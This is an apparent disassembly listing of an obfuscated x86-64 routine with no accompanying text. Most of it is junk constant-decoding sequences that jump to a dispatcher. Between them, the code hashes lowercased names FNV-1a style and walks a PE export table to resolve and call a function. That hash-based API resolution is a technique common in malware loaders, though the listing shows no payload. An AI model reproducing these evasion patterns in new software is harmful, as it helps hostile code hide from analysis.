mov eax, 0x546c9b37
pushf
not eax
add eax, 0xb06257e3
xor eax, 0xaddcc107
rol eax, 0x88
popf
pushf
not eax
add eax, 0xacc482f3
xor eax, 0x8377d5fc
rol eax, 0x30
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x1f87a334
pushf
not eax
add eax, 0xb39d7dd9
xor eax, 0xe7e343a2
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe245f13c
xor eax, 0xc179969d
rol eax, 5
popf
pushf
not eax
add eax, 0xff7d5fe7
xor eax, 0xcfc50b6b
rol eax, 0x42
popf
jmp 0x1400de69e
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x114], eax
jmp 0x1400e1921
xor eax, eax
test eax, eax
je 0x1400e17e7
push rax
pushf
mov eax, 0x666e8114
pushf
not eax
add eax, 0xda45b05f
xor eax, 0xfab4310a
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xbe5c39b8
xor eax, 0x865c5ca1
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa78b5151
xor eax, 0x925bc5ab
rol eax, 0x50
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x851b5de3
pushf
not eax
add eax, 0x97ed4693
xor eax, 0xb0d2b95f
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xa838c9c0
xor eax, 0xdfa87541
rol eax, 0x61
popf
pushf
not eax
add eax, 0xf9fe1b82
xor eax, 0x97ad728e
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xcd4d5f84
xor eax, 0xae096881
rol eax, 0xeb
popf
jmp 0x1400de69e
movsx eax, byte [rsp + 0x21]
or eax, 0x20
mov dword [rsp + 0x78], eax
jmp 0x1400e18bd
movsx eax, byte [rsp + 0x21]
mov dword [rsp + 0x78], eax
push rax
pushf
mov eax, 0xb684a70b
pushf
not eax
add eax, 0xf95a0947
xor eax, 0xc7905d8e
rol eax, 0x45
popf
pushf
not eax
add eax, 0x9883bd29
xor eax, 0xe29bc678
rol eax, 0x2a
popf
jmp 0x1400de69e
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x68], eax
jmp 0x1400e1685
mov eax, dword [rsp + 0x110]
cmp dword [rsp + 0x114], eax
jne 0x1400e1964
push rax
pushf
mov eax, 0x1316e29e
pushf
not eax
add eax, 0x8b81b6bc
xor eax, 0x959ed7bf
rol eax, 0x32
popf
pushf
not eax
add eax, 0xdb2baeff
xor eax, 0xcd27f72e
rol eax, 0x8d
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x2fc26872
pushf
not eax
add eax, 0xfac3384b
xor eax, 0xd878b54e
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xa0d22c86
xor eax, 0xc3b4ae02
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xec1092b9
xor eax, 0x85aa0d2b
rol eax, 0x14
popf
jmp 0x1400de69e
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x240]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x248]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x150], rax
jmp 0x1400e1be7
jmp 0x1400e148f
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x258]
mov rax, qword [rax]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x148], rax
mov byte [rsp + 0x27], 1
movzx eax, byte [rsp + 0x27]
test eax, eax
jne 0x1400e1b4f
push rax
pushf
mov eax, 0xf419fbd1
pushf
not eax
add eax, 0xe9a43c72
xor eax, 0xe0311d4c
rol eax, 0x10
popf
pushf
not eax
add eax, 0xfa225dca
xor eax, 0x9c3648e6
rol eax, 0xbe
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x7af462bf
pushf
not eax
add eax, 0xd2726c9d
xor eax, 0xe55ab496
rol eax, 0xb
popf
pushf
not eax
add eax, 0xef034199
xor eax, 0xc398e407
rol eax, 0x6a
popf
jmp 0x1400de69e
mov qword [rsp + 0x150], 0
push rax
pushf
mov eax, 0xb5c28546
pushf
not eax
add eax, 0xac968331
xor eax, 0xe46fd0f5
rol eax, 0x86
popf
pushf
not eax
add eax, 0xa07fdfb8
xor eax, 0xe274d9d0
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc861dc5d
xor eax, 0x96995e3c
rol eax, 5
popf
pushf
not eax
add eax, 0xcf645319
xor eax, 0xc046e4cf
rol eax, 0x9e
popf
jmp 0x1400de69e
mov ecx, 0x65dadc14
pushf
not ecx
add ecx, 0xabd4fd26
xor ecx, 0x91c3aa83
rol ecx, 0xff
popf
pushf
not ecx
add ecx, 0x91a29b27
xor ecx, 0xfb933447
rol ecx, 0x7f
popf
pushf
not ecx
add ecx, 0xc165900d
xor ecx, 0xb52a5ec8
rol ecx, 0x35
popf
pushf
not ecx
add ecx, 0xc5690de6
xor ecx, 0xb0ec3fdd
rol ecx, 0x8b
popf
jmp 0x1400e1c41
call qword [rsp + 0x150]
mov r8d, 0x9b5f061d
pushf
not r8d
add r8d, 0x9a364bfe
xor r8d, 0x9ef47402
rol r8d, 0x23
popf
pushf
not r8d
add r8d, 0x8443ead5
xor r8d, 0x8ffcdb51
rol r8d, 0x69
popf
pushf
not r8d
add r8d, 0x94edfbe5
xor r8d, 0xe7ecfbcb
rol r8d, 0xf9
popf
mov edx, 0xad53fbad
pushf
not edx
add edx, 0xa507e214
xor edx, 0x9df3e3d8
rol edx, 0xd4
popf
pushf
not edx
add edx, 0x8687fdf0
xor edx, 0xc98dd8e1
rol edx, 0xc
popf
pushf
not edx
add edx, 0xa5b5537b
xor edx, 0xfeaf8920
rol edx, 0xc9
popf
pushf
not edx
add edx, 0xf5872985
xor edx, 0xd5ae593e
rol edx, 0x11
popf
mov rcx, qword [rsp + 0x158]
call fcn.140161c88
mov r8d, 0x5f3dcff7
pushf
not r8d
add r8d, 0xd73fdf02
xor r8d, 0xa6293d81
rol r8d, 0x7e
popf
pushf
not r8d
add r8d, 0xea1dd6d5
xor r8d, 0xd915653f
rol r8d, 0x6b
popf
pushf
not r8d
add r8d, 0xdbc0e01b
xor r8d, 0xe0ccbb9f
rol r8d, 0x27
popf
pushf
not r8d
add r8d, 0xd56fd1fe
xor r8d, 0x93094158
rol r8d, 0xcc
popf
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x158]
call fcn.1400815da
mov r8d, 0xf098b1f9
pushf
not r8d
add r8d, 0xc797286a
xor r8d, 0xbc7377fa
rol r8d, 0x54
popf
pushf
not r8d
add r8d, 0xb328ccc0
xor r8d, 0x9a8223ed
rol r8d, 0x85
popf
mov edx, 0xaa18cda1
pushf
not edx
add edx, 0xe1576785
xor edx, 0xcf99b81e
rol edx, 0x1b
popf
pushf
not edx
add edx, 0xd40286ac
xor edx, 0xe43d4f9c
rol edx, 0x1a
popf
mov rcx, qword [rsp + 0xa0]
call fcn.140161c88
mov r8d, 0xf8abcadf
pushf
not r8d
add r8d, 0x8092e73e
xor r8d, 0xdb384cd7
rol r8d, 0x41
popf
pushf
not r8d
add r8d, 0xb3ffc877
xor r8d, 0xc42bb34c
rol r8d, 0x79
popf
pushf
not r8d
add r8d, 0x947daff5
xor r8d, 0xecb7365a
rol r8d, 0xf9
popf
pushf
not r8d
add r8d, 0xaf678219
xor r8d, 0x8216123e
rol r8d, 0x83
popf
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xa0]
call fcn.140074d18
mov r8d, 0x4669135a
pushf
not r8d
add r8d, 0xdf2c7b80
xor r8d, 0xeb68ce00
rol r8d, 0xc5
popf
pushf
not r8d
add r8d, 0xc1084ec8
xor r8d, 0xe3783f90
rol r8d, 0x6c
popf
pushf
not r8d
add r8d, 0xf36833f0
xor r8d, 0x9a1b9429
rol r8d, 0x9f
popf
pushf
not r8d
add r8d, 0xd7d263eb
xor r8d, 0x86d85d46
rol r8d, 0x8f
popf
lea rdx, [rsp + 0x158]
mov rcx, qword [rsp + 0xa0]
call fcn.1400815da
push rax
pushf
mov eax, 0x25ae7a5a
pushf
not eax
add eax, 0xb4b670d7
xor eax, 0xbdaff01e
rol eax, 0
popf
pushf
not eax
add eax, 0x95799204
xor eax, 0xca0ecf0c
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x87642411
xor eax, 0x9e88b6b2
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xfef24a03
xor eax, 0xd18bfe2f
rol eax, 0xad
popf
jmp 0x1400de69e
xor eax, eax
cmp eax, 1
je 0x1400e1f83
push rax
pushf
mov eax, 0x4cf48022
pushf
not eax
add eax, 0xc745f22c
xor eax, 0xba77fe34
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xee653598
xor eax, 0xebffa1bb
rol eax, 0x74
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0x550e5a0d
pushf
not eax
add eax, 0xf62c9996
xor eax, 0xa6494e1d
rol eax, 0x38
popf
pushf
not eax
add eax, 0xdabbc10f
xor eax, 0x953c1af0
rol eax, 7
popf
pushf
not eax
add eax, 0xe5a42c81
xor eax, 0xd5f160c3
rol eax, 0x82
popf
pushf
not eax
add eax, 0x928278ca
xor eax, 0xc0162354
rol eax, 0x43
popf
jmp 0x1400de69e
mov r8d, 0xe2fb65ca
pushf
not r8d
add r8d, 0xdad1abac
xor r8d, 0x89042261
rol r8d, 0x69
popf
pushf
not r8d
add r8d, 0xf3626573
xor r8d, 0xa8907a2d
rol r8d, 0x24
popf
pushf
not r8d
add r8d, 0xe3fa11e2
xor r8d, 0x83c82c52
rol r8d, 0x62
popf
lea rdx, [rsp + 0x118]
mov rcx, qword [rsp + 0x1a0]
call fcn.140074d18
cmp dword [rsp + 0x118], 0x69
jne 0x1400e20a5
push rax
pushf
mov eax, 0xf803380
pushf
not eax
add eax, 0xec3ff55e
xor eax, 0xff431d42
rol eax, 0x44
popf
pushf
not eax
add eax, 0xf773f377
xor eax, 0xad423fa4
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xa03da53a
xor eax, 0x941eda47
rol eax, 0x42
popf
pushf
not eax
add eax, 0xd75e4e8c
xor eax, 0xa68374bd
rol eax, 0xd0
popf
jmp 0x1400de69e
push rax
pushf
mov eax, 0xb7590081
pushf
not eax
add eax, 0x9fd0fe0f
xor eax, 0x97011271
rol eax, 0x69
popf
pushf
not eax
add eax, 0xd317417b
xor eax, 0x9e0aeec7
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xb04fc85f
xor eax, 0x89a8b71b
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x9129c96f
xor eax, 0xd3c09951
rol eax, 0xe4
popf
jmp 0x1400de69e
mov r8d, 0x402cc542
pushf
not r8d
add r8d, 0x9fa9285c
xor r8d, 0xbadb7d48
rol r8d, 0x89
popf
pushf
not r8d
add r8d, 0xa918e1cb
xor r8d, 0xeaa60ebe
rol r8d, 0x7c
popf
pushf
not r8d
add r8d, 0xa04f163f
xor r8d, 0x8d47730a
rol r8d, 0x88
popf
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xa0]
call fcn.1400815da
mov r8d, 0x586b7d28
pushf
not r8d
add r8d, 0x9e0880e6
xor r8d, 0xfc74b482
rol r8d, 0xe1
popf
pushf
not r8d
add r8d, 0xae8841f7
xor r8d, 0xc77faec1
rol r8d, 0x48
popf
pushf
not r8d
add r8d, 0xd7f5f77d
xor r8d, 0x9be06b6a
rol r8d, 0x55
popf
pushf
not r8d
add r8d, 0xf8e12d0b
xor r8d, 0x962e3a04
rol r8d, 0x21
popf
mov edx, 0xcf3f9a0
pushf
not edx
add edx, 0xae4ffa23
xor edx, 0xe1a2328b
rol edx, 0x33
popf
pushf
not edx
add edx, 0xa335fffd
xor edx, 0xe9aceec1
rol edx, 0xa3
popf
pushf
not edx
add edx, 0xfa4396bf
xor edx, 0x8a3af6a6
rol edx, 0x3c
popf
pushf
not edx
add edx, 0xad40c372
xor edx, 0x929d8205
rol edx, 0xf5
popf
mov rcx, qword [rsp + 0xa0]
call fcn.140161c88
jmp 0x1400e22dd
jmp 0x1400e1f49
mov al, 0x80
pushf
not al
add al, 0xac
xor al, 0x77
rol al, 0x12
popf
pushf
not al
add al, 0x69
xor al, 0xab
rol al, 0xc7
popf
pushf
not al
add al, 0xb1
xor al, 3
rol al, 0x4e
popf
pushf
not al
add al, 0xa3
xor al, 2
rol al, 0x62
popf
add rsp, 0x308
pop rdi
pop rsi
ret